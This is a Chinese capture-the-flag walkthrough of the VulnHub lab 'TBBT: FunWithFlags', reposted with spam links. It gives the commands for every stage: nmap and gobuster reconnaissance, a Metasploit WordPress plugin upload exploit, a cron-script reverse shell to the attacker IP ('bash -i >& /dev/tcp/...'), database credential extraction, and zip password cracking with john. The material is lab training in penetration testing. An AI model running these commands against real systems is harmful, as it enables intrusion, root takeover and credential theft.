当前位置: 首页 > news >正文

TBBT: FunWithFlags靶场渗透

TBBT: FunWithFlags

来自 <https://www.vulnhub.com/entry/tbbt-funwithflags,437/>

1,注意给kali添加一块网卡,配置为仅主机模式,网段192.168.1.0/24

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.1.0/24

那么攻击机IP为192.168.1.128,靶场IP192.168.1.105

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.1.105

端口号

状态

服务类型

服务版本 / 标识

核心特点(关键信息)

21/tcp

开放

ftp

vsftpd 3.0.3

支持匿名登录,含 Welcome.txt、pub / 目录

22/tcp

开放

ssh

OpenSSH 7.2p2 Ubuntu

需账号密码登录,无直接漏洞

80/tcp

开放

http

Apache httpd 2.4.18

泄露 4 个敏感路径(含 /web_shell.php)

1337/tcp

开放

自定义服务

未识别(标记为 waste?)

任意请求返回 Flag:FLAG-sheldon {...}

4,匿名登录到ftp服务器

ftp 192.168.1.105

存在两个文本文件,下载下来

查看一下文本文件有什么

附言:请勿在此处存储重要文件,因为本服务器设置为允许匿名访问且对公众开放。

说明ftp服务器可能不存在重要内容

5,再尝试访问80端口的http服务

再扫描其子目录看看

gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.1.105/robots.txt

gobuster dir -u http://192.168.1.105/music -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.1.105/music/wordpress/

6,wpscan扫描枚举出用户

wpscan --url http://192.168.1.105/music/wordpress/ -e u,p

footprintsonthemoon、stuart、kripke

并且扫描出存在漏洞的插件

searchsploit reflex  

7,使用metasploit框架对网站进行渗透攻击

msfconsole -q

search reflex gallery

use exploit/unix/webapp/wp_reflexgallery_file_upload

options

set rhosts 192.168.1.105

set targeturi /music/wordpress

set LHOST 192.168.1.128

exploit

成功getshell

8,获取可交互shell

shell

python -c 'import pty;pty.spawn("/bin/bash")'

再来信息收集一下

无法sudo -l提权

9,发现一个有助于提权的文件

可读可写可执行,脚本也已配置为每分钟运行一次。意味着我可以进行计划任务提权,写入反弹shell的命令

echo 'bash -c "bash -i >& /dev/tcp/192.168.1.128/1234 0>&1"' >>thermostat_set_temp.sh

kali要监听1234端口

成功提权变成root,得到第一个flag

10,目标是收集七个flag。先看amy用户

cat /home/amy/notes.txt

strings /home/amy/secretdiary

于是得到第二个flag

11,在网站配置文件里面发现用户名密码bigpharmacorp/weareevil

cd /var/www/html/private

cat db_config.php

登录成功后,得到第三个flag

http://192.168.1.105/phpmyadmin/sql.php?server=1&db=bigpharmacorp&table=users&pos=0&token=b5ddf0c010a7b2d360c242c1651e729b

12,进入penny目录,发现.FLAG.penny.txt

解码得到第四个flag

13,访问1337端口,得到第五个flag

14,去看看wordpress的数据库配置文件

cat /var/www/html/music/wordpress/wp-config.php

得到数据库账户密码footprintsonthemoon/footprintsonthemoon1337

mysql -u footprintsonthemoon -p

show databases;

use footprintsonthemoon;

show tables;

select * from wp_posts;

在wp_posts表中找到第六个flag

15,回到kali登录到ftp服务器

下载压缩包文件super_secret_nasa_stuff_here.zip。需要密码,这里使用zip2john结合john爆破

zip2john super_secret_nasa_stuff_here.zip >hash

john hash --wordlist=/usr/share/wordlists/rockyou.txt

使用密码astronaut 解压压缩包

密码为iloveyoumom,查看marsroversketch.jpg.out,拿下第七个flag


文章转载自:

http://OabL9lBT.zLhzd.cn
http://XmT65h4V.zLhzd.cn
http://ykDG6O3x.zLhzd.cn
http://p9cM2T7q.zLhzd.cn
http://Jm5x0eAJ.zLhzd.cn
http://2glrVOdf.zLhzd.cn
http://rlBKV10L.zLhzd.cn
http://i4j2I4K5.zLhzd.cn
http://Ir2zqXIA.zLhzd.cn
http://HvS42fFx.zLhzd.cn
http://9NNoeaHK.zLhzd.cn
http://R5VI2ZXm.zLhzd.cn
http://H4Ch4evr.zLhzd.cn
http://58nuCJ6j.zLhzd.cn
http://P5lRFnHx.zLhzd.cn
http://eFnYkiP8.zLhzd.cn
http://TlDXvTMS.zLhzd.cn
http://Rx364Z7q.zLhzd.cn
http://8XbpA6eL.zLhzd.cn
http://J5CndtM3.zLhzd.cn
http://dyaStovV.zLhzd.cn
http://UhdBwsSP.zLhzd.cn
http://9fRKaADf.zLhzd.cn
http://o2xbFUPv.zLhzd.cn
http://ftjW5iYU.zLhzd.cn
http://hl8WivNo.zLhzd.cn
http://kXQ6DpeG.zLhzd.cn
http://linBJtYu.zLhzd.cn
http://F0fAQne1.zLhzd.cn
http://IqoVP210.zLhzd.cn
http://www.dtcms.com/a/380174.html

相关文章:

  • Git .gitignore 文件不生效的原因及解决方法
  • Elasticsearch面试精讲 Day 16:索引性能优化策略
  • 开源AI大模型AI智能名片S2B2C商城小程序在互联网族群化中的作用与影响
  • 定制开发开源AI智能名片S2B2C商城小程序在互联网族群化中的作用与影响
  • 《人工智能AI之机器学习基石》系列 第 16 篇:关联规则与数据挖掘——“啤酒与尿布”传奇背后的增长秘密
  • DevExpress中Word Processing Document API学习记录
  • MR智能互动沙盘,让虚拟仿真实训更智能更高效
  • Linux基础命令:文件操作与系统管理
  • 在UniApp跨平台开发中实现相机自定义滤镜的链式处理架构
  • SigNoz分布式追踪新体验:cpolar实现远程微服务监控
  • 嵌入式数据结构笔记三——单向链表下
  • Proxmox VE远程管理虚拟化隐形入口用cpolar实现
  • discuz所有下载版本和升级工具
  • # AI(学习笔记第八课) 使用langchain的embedding models
  • 2025年渗透测试面试题总结-67(题目+回答)
  • 城市二次供水物联网监测管控管理平台御控解决方案:构建全链路智能水务新生态
  • Python Yolo8 物体识别
  • 一款VS Code连接和管理PostgreSQL的扩展插件,支持AI智能辅助和代理模式
  • 数据结构 Part 2
  • 华为云 GaussDB:金融级高可用数据库,为核心业务保驾护航
  • springcloud二-Sentinel2
  • VSCode中的下载VSIX是指什么?
  • VSCode 远程开发连接(glibc<2.28)
  • 公网IP采用自签名证书配置https并消除浏览器不安全告警
  • VSCode创建Python项目和运行py文件
  • 时钟驱动器原理
  • 【Docker】镜像
  • 换源rocklinux和centos
  • FPGA采集AD7606转Aurora 64B66B传输,基于GTY高速收发器,提供工程源码和技术支持
  • 在VSCode中使用Vim模式